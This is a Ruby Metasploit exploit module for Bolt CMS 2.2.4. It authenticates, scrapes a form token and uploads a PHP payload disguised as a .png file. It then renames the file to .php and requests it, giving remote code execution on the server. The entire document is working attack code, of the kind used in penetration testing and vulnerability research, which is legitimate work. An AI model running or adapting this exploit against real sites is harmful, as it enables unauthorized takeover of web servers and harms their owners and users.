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##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(
info,
'Name' => 'CMS Bolt File Upload Vulnerability',
'Description' => %q{
Bolt CMS contains a flaw that allows an authenticated remote
attacker to execute arbitrary PHP code. This module was
tested on version 2.2.4.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tim Coen', # Vulnerability Disclosure
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
],
'References' =>
[
['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html']
],
'DisclosureDate' => 'Aug 17 2015',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Bolt 2.2.4', {}]],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
], self.class)
end
def check
cookie = bolt_login(username, password)
return Exploit::CheckCode::Detected unless cookie
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt'),
'cookie' => cookie
)
if res && res.code == 200 && res.body.include?('Bolt 2.2.4</b>: Sophisticated, lightweight & simple CMS')
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def fname
datastore['FOLDERNAME']
end
def bolt_login(user, pass)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
)
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
session_cookie = res.get_cookies
vprint_status("#{peer} - Logging in...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
'cookie' => session_cookie,
'vars_post' => {
'username' => user,
'password' => pass,
'action' => 'login'
}
)
return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')
nil
end
def get_token(cookie, fname)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
'cookie' => cookie
)
if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /
return Regexp.last_match[1]
end
nil
end
def rename_payload(cookie, payload, fname)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),
'vars_post' => {
'namespace' => 'theme',
'parent' => fname,
'oldname' => "#{payload}.png",
'newname' => "#{payload}.php"
},
'cookie' => cookie
)
return true if res && res.code == 200 && res.body.include?('1')
nil
end
def exploit
vprint_status("#{peer} - Authenticating using #{username}:#{password}")
cookie = bolt_login(username, password)
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
vprint_good("#{peer} - Authenticated with Bolt.")
token = get_token(cookie, fname)
fail_with(Failure::Unknown, 'No token found.') if token.nil?
vprint_good("#{peer} - Token \"#{token}\" found.")
vprint_status("#{peer} - Preparing payload...")
payload_name = Rex::Text.rand_text_alpha_lower(10)
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"form[FileUpload][]\"; filename=\"#{payload_name}.png\"")
data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"')
post_data = data.to_s
vprint_status("#{peer} - Uploading payload...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
)
fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302
vprint_good("#{peer} - Uploaded the payload.")
rename = rename_payload(cookie, payload_name, fname)
fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?
php_file_name = "#{payload_name}.php"
payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)
vprint_status("#{peer} - Parsed response.")
register_files_for_cleanup(php_file_name)
vprint_status("#{peer} - Executing the payload at #{payload_url}.")
send_request_cgi(
'uri' => payload_url,
'method' => 'GET'
)
end
end
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